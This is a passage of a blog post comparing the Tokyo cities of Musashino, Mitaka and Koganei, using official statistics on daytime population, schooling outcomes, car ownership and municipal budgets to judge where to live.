      &lt;td&gt;29.80%&lt;/td&gt;
      &lt;td&gt;67.35%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Mitaka and Koganei both looses ~10% of their population during the day, while Musashino gains 8%. As all 3 cities are residential, Musashino’s increased daytime population might be due to Kichijoji being a popular shopping destination.&lt;/p&gt;

&lt;p&gt;63% of workers living in Mitaka leave during the day, and only 2/3 of this much enters. Koganei is even starker: 70% of workers leave during the day, and only less than half of this many enters. Musashino’s workers also leave in comparable numbers (64%), but they have more workers entering during the day. Since workers include people working in factories and offices in the city, but also people working in retail and hospitality (shops, restaurants, bars), this can be again due to Kichijoji (even if the people go there for shopping, the shops and restaurants need staff who will be counted as workers). It’s also interesting to see that while Musashino seem to have more work opportunities, people still prefer to leave the city in the same proportions as residents of the two other cities, and the jobs are taken up by people commuting into the city. This could mean that those jobs don’t pay enough to let people afford living there.&lt;/p&gt;

&lt;p&gt;When it comes to students, both Musashino and Koganei attracts many students increasing their student population by 45% and 33% respectively, while Mitaka looses 2.5% of the number of their students. This difference almost entirely comes from students entering the cities, as all 3 cities have around 33% of their students leave the city during the day, but Musashino and Koganei simply has more students commuting there. Even though all three cities have many high schools and universities (&lt;a href=&quot;https://en.wikipedia.org/wiki/Musashino,_Tokyo#Education&quot;&gt;Musashino&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Mitaka,_Tokyo#Education&quot;&gt;Mitaka&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Koganei,_Tokyo#Education&quot;&gt;Koganei&lt;/a&gt;), it seems that students just don’t go to Mitaka: if we look at the ratio of daytime students per residents we get 15.13% for Musashino, 11.08% for Mitaka and 14.85% for Koganei (as we have seen earlier, all 3 cities have a similar proportion of young people, so there are simply less students choosing to commute to Mitaka). Overall this is likely not an issue for living in Mitaka though, as many kids commute for junior high and high school anyway, and all 3 cities are very close (it’s a 13 minute train ride back to back from Kichijoji to Musashi-Koganei).&lt;/p&gt;

&lt;h1 id=&quot;education&quot;&gt;Education&lt;/h1&gt;

&lt;p&gt;Education is one area where cities can differ, so I took an extra look into the available data. Tokyo publishes the &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/gakkou/2023/gk23qg10000.htm&quot;&gt;学校基本統計（学校基本調査）- School Basic Statistics (School Basic Survey)&lt;/a&gt; each year, with the most recent being from 2023. This includes the number of schools of various levels, number of classes, number of teachers, etc. I’ll share some numbers that I found interesting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Elementary schools (2023)&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Nr of kids&lt;/td&gt;
      &lt;td&gt;8,173&lt;/td&gt;
      &lt;td&gt;9,879&lt;/td&gt;
      &lt;td&gt;6,751&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Nr of kids in public elementary school (and % of overall nr of kids)&lt;/td&gt;
      &lt;td&gt;6,526 (80%)&lt;/td&gt;
      &lt;td&gt;9,478 (96%)&lt;/td&gt;
      &lt;td&gt;6,132 (91%)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Nr of teachers&lt;/td&gt;
      &lt;td&gt;466&lt;/td&gt;
      &lt;td&gt;529&lt;/td&gt;
      &lt;td&gt;338&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Teacher per class&lt;/td&gt;
      &lt;td&gt;1.64&lt;/td&gt;
      &lt;td&gt;1.61&lt;/td&gt;
      &lt;td&gt;1.55&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Teacher per class in public schools&lt;/td&gt;
      &lt;td&gt;1.59&lt;/td&gt;
      &lt;td&gt;1.60&lt;/td&gt;
      &lt;td&gt;1.56&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Musashino has more than twice as many kids in non-public (private, international) elementary school as the other cities. This can mean that the public schools are of lower quality, or that the parents have more money and thus more options. The teacher per class numbers are very similar, with Koganei being slightly lower, which can mean that the quality is lower, or that the number of kids is growing faster than the rate they can hire teachers.&lt;/p&gt;

&lt;p&gt;Overall I don’t think any of this indicates a significant difference in the quality of education.&lt;/p&gt;

&lt;p&gt;Schooling in Japan is &lt;a href=&quot;https://education.jnto.go.jp/en/school-in-japan/japanese-education-system/#:~:text=Compulsory%20education%20lasts%20for%209%20years%20through%20elementary%20and%20junior%20high%20school&quot;&gt;mandatory until the end of junior high school (15 years of age)&lt;/a&gt;, so let’s see what kids do after that:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What students do after graduating junior high school&lt;/strong&gt; (Data from the 2023 graduations)&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;All of Tokyo prefecture&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Go to high school&lt;/td&gt;
      &lt;td&gt;98.65%&lt;/td&gt;
      &lt;td&gt;99% (1,466)&lt;/td&gt;
      &lt;td&gt;97.5% (1,435)&lt;/td&gt;
      &lt;td&gt;96.4% (1,245)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Go to vocational school&lt;/td&gt;
      &lt;td&gt;0.5%&lt;/td&gt;
      &lt;td&gt;0.6% (9)&lt;/td&gt;
      &lt;td&gt;1% (14)&lt;/td&gt;
      &lt;td&gt;3.3% (43)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;(Numbers don’t add up to 100% as some doesn’t continue their education.)&lt;/p&gt;

&lt;p&gt;Overall Musashino and Mitaka is almost identical, while Koganei has a slightly higher percentage going to vocational school. But the sample size is so small, that it’s hard to make any conclusions. It is very likely that in either city our kids’ classmates would mostly continue to high school.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What students do after graduating high school&lt;/strong&gt; (Data from the 2023 graduations)&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;All of Tokyo prefecture&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Go to university&lt;/td&gt;
      &lt;td&gt;72.8%&lt;/td&gt;
      &lt;td&gt;81.5% (1,032)&lt;/td&gt;
      &lt;td&gt;81.8% (716)&lt;/td&gt;
      &lt;td&gt;86% (1,150)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Go to vocational school&lt;/td&gt;
      &lt;td&gt;15.26%&lt;/td&gt;
      &lt;td&gt;11.6% (147)&lt;/td&gt;
      &lt;td&gt;9% (79)&lt;/td&gt;
      &lt;td&gt;7.9% (104)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Start working&lt;/td&gt;
      &lt;td&gt;4.6%&lt;/td&gt;
      &lt;td&gt;0%&lt;/td&gt;
      &lt;td&gt;0.2% (2)&lt;/td&gt;
      &lt;td&gt;1% (14)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;All 3 cities send around the same percentage to university (with Koganei being slightly higher, but that might be due to more student going to vocational school already after junior high school). At the end of the day, this again means that in either city our kids’ classmates would mostly go to university.&lt;/p&gt;

&lt;h1 id=&quot;car-ownership&quot;&gt;Car ownership&lt;/h1&gt;

&lt;p&gt;In central Tokyo most people don’t use cars everyday, while on the countryside people tend to drive more often. So looking at the number of cars in a city can tell us about how it feels to live there (e.g. more cars likely mean more traffic, but also shops and restaurants will have parking lots).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://wwwtb.mlit.go.jp/kanto/jidou_gian/toukei/tiiki_betu.html&quot;&gt;Kanto District Transport Bureau publishes car ownership numbers&lt;/a&gt; in March every year, and I’m using &lt;a href=&quot;https://wwwtb.mlit.go.jp/kanto/content/000294688.pdf&quot;&gt;the latest data from March 2023&lt;/a&gt;. For the number of households, I’m using the March 2023 data from the &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/juukim/2023/jm23010000.htm&quot;&gt;Statistics of Tokyo website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The data has multiple car categories, and here is ChatGPT’s explanation of each category:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;貨物計 (Kamotsu-kei)&lt;/strong&gt; - This refers to &lt;strong&gt;cargo vehicles&lt;/strong&gt;, encompassing all vehicles primarily used for transporting goods. This category includes various sizes of trucks and freight vehicles.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;乗合計 (Noriai-kei)&lt;/strong&gt; - This category covers &lt;strong&gt;public transport vehicles&lt;/strong&gt; or vehicles used for mass transportation of passengers, such as buses and coaches.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;乗用計 (Jōyō-kei)&lt;/strong&gt; - This term refers to &lt;strong&gt;passenger cars&lt;/strong&gt;, which are vehicles used primarily for personal transport of passengers. It generally includes sedans, hatchbacks, SUVs, etc.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;特種(殊)計 (Tokushu-kei)&lt;/strong&gt; - This category is for &lt;strong&gt;special purpose vehicles&lt;/strong&gt;, which are designed for specific functions other than just transporting goods or people. This can include vehicles like ambulances, fire trucks, construction vehicles, etc.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;登録車計 (Tōroku-sha-kei)&lt;/strong&gt; - This translates to &lt;strong&gt;registered vehicles total&lt;/strong&gt;. It is a summative category that typically includes all motor vehicles that are officially registered, likely excluding those that do not require registration such as certain small or specialized vehicles.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;小型二輪 (Kogata nirin)&lt;/strong&gt; - This refers to &lt;strong&gt;small two-wheeled vehicles&lt;/strong&gt;, such as motorcycles and scooters. These are typically smaller bikes that fall under a certain engine size or power output.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;合計 (Gōkei)&lt;/strong&gt; - This simply means total and sums up all the categories listed above.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For each of these, there are 2 numbers published (again ChatGPT’s explanation):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;自家用 (Jikayō)&lt;/strong&gt; - This term means &lt;strong&gt;private use&lt;/strong&gt;. It refers to vehicles used for personal, non-commercial purposes. These are typically cars, motorcycles, or other vehicles owned by individuals for personal or family use.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;事業用 (Jigyōyō)&lt;/strong&gt; - This term stands for &lt;strong&gt;business use&lt;/strong&gt;. It includes vehicles used for commercial purposes, such as company cars, delivery trucks, taxis, buses operated by transport companies, and other vehicles used in the course of conducting business or providing services.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Passenger cars (乗用計) make up more than 90% of private cars, so I’m only looking at that number. For business use I’m looking at all numbers, as those can tell us about the  type of businesses that are registered in each city.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;All of Tokyo pref&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Number of households&lt;/td&gt;
      &lt;td&gt;7,451,160&lt;/td&gt;
      &lt;td&gt;78,261&lt;/td&gt;
      &lt;td&gt;96,135&lt;/td&gt;
      &lt;td&gt;62,617&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total number of cars&lt;/td&gt;
      &lt;td&gt;3,074,602&lt;/td&gt;
      &lt;td&gt;26,744&lt;/td&gt;
      &lt;td&gt;40,786&lt;/td&gt;
      &lt;td&gt;24,741&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Per 100 households&lt;/td&gt;
      &lt;td&gt;41.3&lt;/td&gt;
      &lt;td&gt;34.2&lt;/td&gt;
      &lt;td&gt;42.4&lt;/td&gt;
      &lt;td&gt;39.5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Personal cars (自家用特種(殊)計)&lt;/td&gt;
      &lt;td&gt;2,917,997&lt;/td&gt;
      &lt;td&gt;25,837&lt;/td&gt;
      &lt;td&gt;38,188&lt;/td&gt;
      &lt;td&gt;24,386&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Per 100 households&lt;/td&gt;
      &lt;td&gt;39.2&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;39.7&lt;/td&gt;
      &lt;td&gt;38.9&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Personal passenger cars (自家用乗用計)&lt;/td&gt;
      &lt;td&gt;2,545,220&lt;/td&gt;
      &lt;td&gt;23,956&lt;/td&gt;
      &lt;td&gt;34,777&lt;/td&gt;
      &lt;td&gt;22,773&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- Compared to all personal cars&lt;/td&gt;
      &lt;td&gt;87.22%&lt;/td&gt;
      &lt;td&gt;92.72%&lt;/td&gt;
      &lt;td&gt;91.07%&lt;/td&gt;
      &lt;td&gt;93.39%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Personal motorcycles (自家用小型二輪)&lt;/td&gt;
      &lt;td&gt;184,152&lt;/td&gt;
      &lt;td&gt;1,363&lt;/td&gt;
      &lt;td&gt;2,581&lt;/td&gt;
      &lt;td&gt;1,367&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Per 100 households&lt;/td&gt;
      &lt;td&gt;2.47&lt;/td&gt;
      &lt;td&gt;1.74&lt;/td&gt;
      &lt;td&gt;2.68&lt;/td&gt;
      &lt;td&gt;2.18&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Corporate cars (事業用登録車計)&lt;/td&gt;
      &lt;td&gt;156,605&lt;/td&gt;
      &lt;td&gt;907&lt;/td&gt;
      &lt;td&gt;2,598&lt;/td&gt;
      &lt;td&gt;355&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Per 100 households&lt;/td&gt;
      &lt;td&gt;2.10&lt;/td&gt;
      &lt;td&gt;1.16&lt;/td&gt;
      &lt;td&gt;2.70&lt;/td&gt;
      &lt;td&gt;0.57&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Compared to all cars&lt;/td&gt;
      &lt;td&gt;5.09%&lt;/td&gt;
      &lt;td&gt;3.39%&lt;/td&gt;
      &lt;td&gt;6.37%&lt;/td&gt;
      &lt;td&gt;1.43%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Corporate cargo vehicles (事業用貨物計)&lt;/td&gt;
      &lt;td&gt;79,972&lt;/td&gt;
      &lt;td&gt;83&lt;/td&gt;
      &lt;td&gt;625&lt;/td&gt;
      &lt;td&gt;101&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- Compared to all corporate cars&lt;/td&gt;
      &lt;td&gt;51.07%&lt;/td&gt;
      &lt;td&gt;9.15%&lt;/td&gt;
      &lt;td&gt;24.06%&lt;/td&gt;
      &lt;td&gt;28.45%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Corporate public transport vehicles (事業用乗合計)&lt;/td&gt;
      &lt;td&gt;10,868&lt;/td&gt;
      &lt;td&gt;320&lt;/td&gt;
      &lt;td&gt;13&lt;/td&gt;
      &lt;td&gt;51&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- Compared to all corporate cars&lt;/td&gt;
      &lt;td&gt;6.94%&lt;/td&gt;
      &lt;td&gt;35.28%&lt;/td&gt;
      &lt;td&gt;0.50%&lt;/td&gt;
      &lt;td&gt;14.37%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Corporate passenger cars (事業用乗用計)&lt;/td&gt;
      &lt;td&gt;43,762&lt;/td&gt;
      &lt;td&gt;439&lt;/td&gt;
      &lt;td&gt;1720&lt;/td&gt;
      &lt;td&gt;140&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- Compared to all corporate cars&lt;/td&gt;
      &lt;td&gt;27.94%&lt;/td&gt;
      &lt;td&gt;48.40%&lt;/td&gt;
      &lt;td&gt;66.20%&lt;/td&gt;
      &lt;td&gt;39.44%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Corporate special purpose vehicles (事業用特種(殊)計)&lt;/td&gt;
      &lt;td&gt;22,003&lt;/td&gt;
      &lt;td&gt;65&lt;/td&gt;
      &lt;td&gt;240&lt;/td&gt;
      &lt;td&gt;63&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- Compared to all corporate cars&lt;/td&gt;
      &lt;td&gt;14.05%&lt;/td&gt;
      &lt;td&gt;7.17%&lt;/td&gt;
      &lt;td&gt;9.24%&lt;/td&gt;
      &lt;td&gt;17.75%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Corporate motorcycles (事業用小型二輪)&lt;/td&gt;
      &lt;td&gt;304&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- Compared to all motorcycles&lt;/td&gt;
      &lt;td&gt;0.16%&lt;/td&gt;
      &lt;td&gt;0.22%&lt;/td&gt;
      &lt;td&gt;0.15%&lt;/td&gt;
      &lt;td&gt;0.22%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So in all of Tokyo, on average less than half of the households have a car (41.3 cars per 100 households). Musashino has even less (34.2), while Mitaka (42.4) and Koganei (39.5) are around the Tokyo average. Only around 1-2% of this is corporate cars, the rest is registered by individuals.&lt;/p&gt;

&lt;p&gt;When it comes to corporate cars, in Tokyo half of them are cargo vehicles, followed by 28% of passenger cars (this includes taxis too). Meanwhile in all 3 cities the main corporate car is passenger cars (48%, 66%, 39%), with the second most popular being cargo in Mitaka and Koganei, and public transport vehicle in Musashino. My guess is that this is simply due to more bus companies having their vehicles registered in Musashino, as I’m pretty sure Mitaka has more than 13 buses going around on any given day. Since all corporate cars make up only around 1-2% of vehicles, I don’t think these differences change the everyday feel of the cities.&lt;/p&gt;

&lt;p&gt;There are only 2-3 motorcycles per 100 households, and almost no corporate motorcycles (less than 0.3% of all motorcycles). This latter is actually surprising for me, as I thought delivery scooters (pizza chains, soba restaurants, newspapers) will make this number bigger.&lt;/p&gt;

&lt;p&gt;Overall all 3 cities are fairly similar in this regard, with Musashino having slightly less cars registered per household.&lt;/p&gt;

&lt;h1 id=&quot;city-budget&quot;&gt;City budget&lt;/h1&gt;

&lt;p&gt;The Ministry of Internal Affairs and Communications publishes a set of massive Excel spreadsheets that contain the budget (income, spending, source of both) for all municipalities of Japan (each city being a line in the table).&lt;/p&gt;

&lt;p&gt;At the time of my research, their &lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r03_shichouson.html&quot;&gt;latest data&lt;/a&gt; was from 2021, so that’s what I’m using here. The data is using thousand yen (千円) as the unit, so I’ll be using that to display the numbers.&lt;/p&gt;

&lt;p&gt;The table also includes population for each city, and I’m using that for the per resident calculations (since the date of this data is different from the data earlier, this is slightly different than above).&lt;/p&gt;

&lt;h2 id=&quot;general-budget&quot;&gt;General budget&lt;/h2&gt;

&lt;p&gt;Source: &lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r03_shichouson.html&quot;&gt;都市別 概況&lt;/a&gt;.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Population&lt;/td&gt;
      &lt;td&gt;148,025&lt;/td&gt;
      &lt;td&gt;190,590&lt;/td&gt;
      &lt;td&gt;124,617&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Income&lt;/td&gt;
      &lt;td&gt;80,799,412千円&lt;/td&gt;
      &lt;td&gt;80,516,306千円&lt;/td&gt;
      &lt;td&gt;53,583,172千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;545.85千円&lt;/td&gt;
      &lt;td&gt;422.46千円&lt;/td&gt;
      &lt;td&gt;429.98千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Expenses&lt;/td&gt;
      &lt;td&gt;76,957,203千円&lt;/td&gt;
      &lt;td&gt;78,311,614千円&lt;/td&gt;
      &lt;td&gt;51,719,510千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;519.89千円&lt;/td&gt;
      &lt;td&gt;410.89千円&lt;/td&gt;
      &lt;td&gt;415.03千円&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;All 3 cities run a healthy budget (spending less than their income). Mitaka and Koganei works with similar per resident income and spending, while Musashino earns and spends 25-30% more than the others (per resident).&lt;/p&gt;

&lt;h2 id=&quot;income-source&quot;&gt;Income source&lt;/h2&gt;

&lt;p&gt;The income source is also published for each city, so I’ll pick some numbers from this.&lt;/p&gt;

&lt;p&gt;Source: &lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r03_shichouson.html&quot;&gt;都市別 歳入内訳&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;tax&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;39,928,376千円&lt;/td&gt;
      &lt;td&gt;38,398,512千円&lt;/td&gt;
      &lt;td&gt;21,986,121千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- % of overall income&lt;/td&gt;
      &lt;td&gt;49.42%&lt;/td&gt;
      &lt;td&gt;47.69%&lt;/td&gt;
      &lt;td&gt;41.03%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;269.74千円&lt;/td&gt;
      &lt;td&gt;201.47千円&lt;/td&gt;
      &lt;td&gt;176.43千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- (within tax): residence tax(市町村民税個人分)&lt;/td&gt;
      &lt;td&gt;18,132,872千円&lt;/td&gt;
      &lt;td&gt;18,348,371千円&lt;/td&gt;
      &lt;td&gt;11,176,817千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;122.50千円&lt;/td&gt;
      &lt;td&gt;96.27千円&lt;/td&gt;
      &lt;td&gt;89.69千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- (within tax): &lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/149767_04.html&quot;&gt;business tax(市町村民税法人分)&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;2,556,045千円&lt;/td&gt;
      &lt;td&gt;1,472,492千円&lt;/td&gt;
      &lt;td&gt;590,996千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;17.27千円&lt;/td&gt;
      &lt;td&gt;7.73千円&lt;/td&gt;
      &lt;td&gt;4.74千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- (within tax): real estate tax (固定資産税)&lt;/td&gt;
      &lt;td&gt;16,352,346千円&lt;/td&gt;
      &lt;td&gt;14,541,109千円&lt;/td&gt;
      &lt;td&gt;7,733,616千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;110.47千円&lt;/td&gt;
      &lt;td&gt;76.30千円&lt;/td&gt;
      &lt;td&gt;62.06千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;National treasury disbursements&lt;/strong&gt; &lt;br /&gt;(国庫支出金) -&lt;a href=&quot;https://www.city.mitaka.lg.jp/c_faq/062/062663.html&quot;&gt;money from the national &lt;br /&gt; government for specific projects&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;14,774,575千円&lt;/td&gt;
      &lt;td&gt;18,949,625千円&lt;/td&gt;
      &lt;td&gt;13,793,957千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- % of overall income&lt;/td&gt;
      &lt;td&gt;18.29%&lt;/td&gt;
      &lt;td&gt;23.54%&lt;/td&gt;
      &lt;td&gt;25.74%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;99.81千円&lt;/td&gt;
      &lt;td&gt;99.43千円&lt;/td&gt;
      &lt;td&gt;110.69千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Prefectural disbursements&lt;/strong&gt; &lt;br /&gt;(都道府県支出金) - general money from &lt;br /&gt; the prefecture&lt;/td&gt;
      &lt;td&gt;8,337,069千円&lt;/td&gt;
      &lt;td&gt;10,170,974千円&lt;/td&gt;
      &lt;td&gt;8,037,565千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- % of overall income&lt;/td&gt;
      &lt;td&gt;10.32%&lt;/td&gt;
      &lt;td&gt;12.63%&lt;/td&gt;
      &lt;td&gt;15.00%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;56.32千円&lt;/td&gt;
      &lt;td&gt;53.37千円&lt;/td&gt;
      &lt;td&gt;64.50千円&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;This shows that Musashino and Mitaka receive similar amounts (per resident) from the central and prefectural governments, while Koganei collects 13% less from taxes than Mitaka (on a per resident basis), but they make up for it by receiving more from the central and prefectural governments leading to a similar budget in the end. This can make Koganei riskier in the long term than Mitaka (regardless their current similar budgets), as with the aging population the central and prefectural governments might have less money in the future.&lt;/p&gt;

&lt;p&gt;Looking at the tax explains why Musashino’s budget is more than the other two cities: they get almost 34% more from taxes (per resident) than Mitaka and 52% more than Koganei. This comes from all types of taxes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;residence tax (27% and 36% more than Mitaka and Koganei): the proportion of the working age population of all 3 cities is almost identical, and since the residence tax is a flat 6%, this means that the average salary in Musashino is 27% and 36% higher than Mitaka and Koganei respectively (assuming a similar percentage of working age people working).&lt;/li&gt;
  &lt;li&gt;Musashino’s per resident business tax income is more than double of Mitaka’s and 3.6x more than Koganei, indicating that they have more companies. I didn’t go into details on how this tax is calculated, but my guess is that this is mainly due to Kichijoji’s shopping district which attracts huge crowds every weekend&lt;/li&gt;
  &lt;li&gt;similarly the real estate tax income is the highest in Musashino, my guess again being that Kichijoji’s land values are through the roof (partially due to all the shops, but also due to all the rich people having their house there) resulting in a higher real estate tax revenue (my understanding is that real estate tax is a fixed % of the assessed land and building value, so it being higher means that the value of real estate is higher)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;expenses&quot;&gt;Expenses&lt;/h2&gt;

